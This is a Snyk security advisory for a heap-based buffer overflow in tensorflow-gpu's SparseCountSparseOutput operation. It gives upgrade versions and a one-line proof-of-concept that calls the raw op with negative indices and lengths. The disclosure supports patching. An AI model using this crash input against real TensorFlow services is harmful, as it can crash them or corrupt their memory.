Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade tensorflow-gpu
to version 2.5.3, 2.6.3, 2.7.1 or higher.
tensorflow-gpu is a machine learning framework.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the implementation of SparseCountSparseOutput
.
###PoC
import tensorflow as tf import numpy as np
tf.raw_ops.SparseCountSparseOutput( indices=[[-1,-1]], values=[2], dense_shape=[1, 1], weights=[1], binary_output=True, minlength=-1, maxlength=-1, name=None)